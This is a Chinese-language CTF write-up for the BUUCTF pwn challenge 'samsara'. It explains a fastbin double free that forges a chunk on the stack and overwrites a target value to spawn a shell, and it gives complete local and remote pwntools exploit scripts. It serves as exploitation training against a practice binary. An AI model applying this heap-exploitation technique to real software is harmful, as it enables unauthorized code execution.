BUUCTF-PWN-metasequoia_2020_samsara
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
保护全开
动态链接
英文意思
打败魔龙后,你变成了魔龙……
1. 抓捕一个人
2. 吃掉一个人
3. 煮一个人
4. 找到你的巢穴
5. 转移到另一个王国
6. 自杀
ida看一下伪代码
主函数
还有一个菜单函数
观察分析main函数,switch里case1每次申请chunk大小为0x20(mem为0x10),
case6只要满足了target=0xDEADBEEF,就可以获得shell
看一下栈区
思路
switch里case2里free掉chunk后,未把指针置空
case3可以编辑chunk的mem内容,如果是free后的chunk,就可以编辑该chunk的fd指针指向
case4可以输出lair地址,而case5可以修改lair的地址,所以可以用case4和case5泄露任意地址的地址
可以先申请三个chunk,(前两个chunk用来double free,第三个chunk用来防止free掉前两个chunk与top chunk合并),然后释放前两个chunk,把第一个chunk释放两次,造成double free,然后可以控制free掉的第一个chunk,之后在栈上构造fake chunk,利用case4修改lair值为0x20(作为fake chunk的size)(与前面的chunk大小相同),再根据lair在栈上位置与target相差8字节,所以将&lair-8作为fake chunk的chunk指针,之后利用switch中的case3编辑free掉的第一个chunk,使它的fd指针指向fake chunk的chunk指针(&lair-8),然后申请chunk(第一个chunk),再次申请chunk(fake chunk),之后用switch里的case5,修改mem(target)为0xDEADBEEF即可调用system函数,获得shell
exp本地调试
from pwn import *
context(os='linux',endian='little',log_level='debug',arch='amd64')
context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
binary = './samsara'
elf = ELF(binary)
#sh = remote('node4.buuoj.cn',28614)
sh = process(binary)
def dbg():
gdb.attachsh)
pause()
def add():
sh.sendlineafter('> ','1')
def delete(index):
sh.sendlineafter('> ','2')
sh.sendlineafter(':\n',str(index))
def edit(index,content):
sh.sendlineafter('> ','3')
sh.sendlineafter(':\n',str(index))
sh.sendlineafter(':\n',content)
def show():
sh.sendlineafter('> ','4')
sh.recvuntil('0x')
return int(sh.recvuntil('\n'),16)
def move(dest):
sh.sendlineafter('> ','5')
sh.sendlineafter('?\n', str(dest))
add() # 申请第0个chunk
add() # 申请第1个chunk
add() # 申请第2个chunk
delete(0) #free 第0个chunk
delete(1) #free 第1个chunk
dbg() #第一个断点
delete(0) #free 第0个chunk造成double free
dbg()#第2个断点
add() # 申请第3个chunk == 第0个chunk
add() # 申请第4个chunk == 第1个chunk
move(0x20) #修改lair值为0x20(作为fake chunk的size)(与前面的chunk大小相同)
fake = show()-8 #将&lair-8作为fake chunk的chunk指针
edit(3,fake) #编辑free掉的第一个chunk,使它的fd指针指向fake chunk的chunk指针(&lair-8)
dbg()#第3个断点
add() # 申请第5个chunk == 第0个chunk
add() # 申请第6个chunk (mem内容为target)
dbg()#第4个断点
edit(6,0xdeadbeef) #修改mem(target)为0xDEADBEEF
dbg()#第5个断点
sh.sendlineafter('> ','6') #退出程序
sh.interactive()
运行
第一个断点处,可以看到fast bin里已经存了两个chunk,从左到右为第2个chunk和第1个chunk
第2个断点处,可以看到已经造成doubel free
第3个断点处,可以看到fast bin里chunk0指针指向了0x7ffe651ac6a0(fake chunk)
第4个断点处,可以看到fast bin里已经没有chunk了
第5个断点处,可以看到target已经被修改为了0xDEADBEEF
exp远程
from pwn import *
context(os='linux',endian='little',log_level='debug',arch='amd64')
context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
binary = './samsara'
elf = ELF(binary)
sh = remote('node4.buuoj.cn',28614)
#sh = process(binary)
def dbg():
gdb.attach(sh)
pause()
def add():
sh.sendlineafter('> ','1')
def delete(index):
sh.sendlineafter('> ','2')
sh.sendlineafter(':\n',str(index))
def edit(index,content):
sh.sendlineafter('> ','3')
sh.sendlineafter(':\n',str(index))
sh.sendlineafter(':\n',str(content))
def show():
sh.sendlineafter('> ','4')
sh.recvuntil('0x')
return int(sh.recvuntil('\n'),16)
def move(dest):
sh.sendlineafter('> ','5')
sh.sendlineafter('?\n', str(dest))
add() # 申请第0个chunk
add() # 申请第1个chunk
add() # 申请第2个chunk
delete(0) #free 第0个chunk
delete(1) #free 第1个chunk
delete(0) #free 第0个chunk造成double free
add() # 申请第3个chunk == 第0个chunk
add() # 申请第4个chunk == 第1个chunk
move(0x20) #修改lair值为0x20(作为fake chunk的size)(与前面的chunk大小相同)
fake = show()-8 #将&lair-8作为fake chunk的chunk指针
edit(3,fake) #编辑free掉的第一个chunk,使它的fd指针指向fake chunk的chunk指针(&lair-8)
add() # 申请第5个chunk == 第0个chunk
add() # 申请第6个chunk (mem内容为target)
edit(6,0xdeadbeef) #修改mem(target)为0xDEADBEEF
sh.sendlineafter('> ','6') #退出程序
sh.interactive()
运行获得flag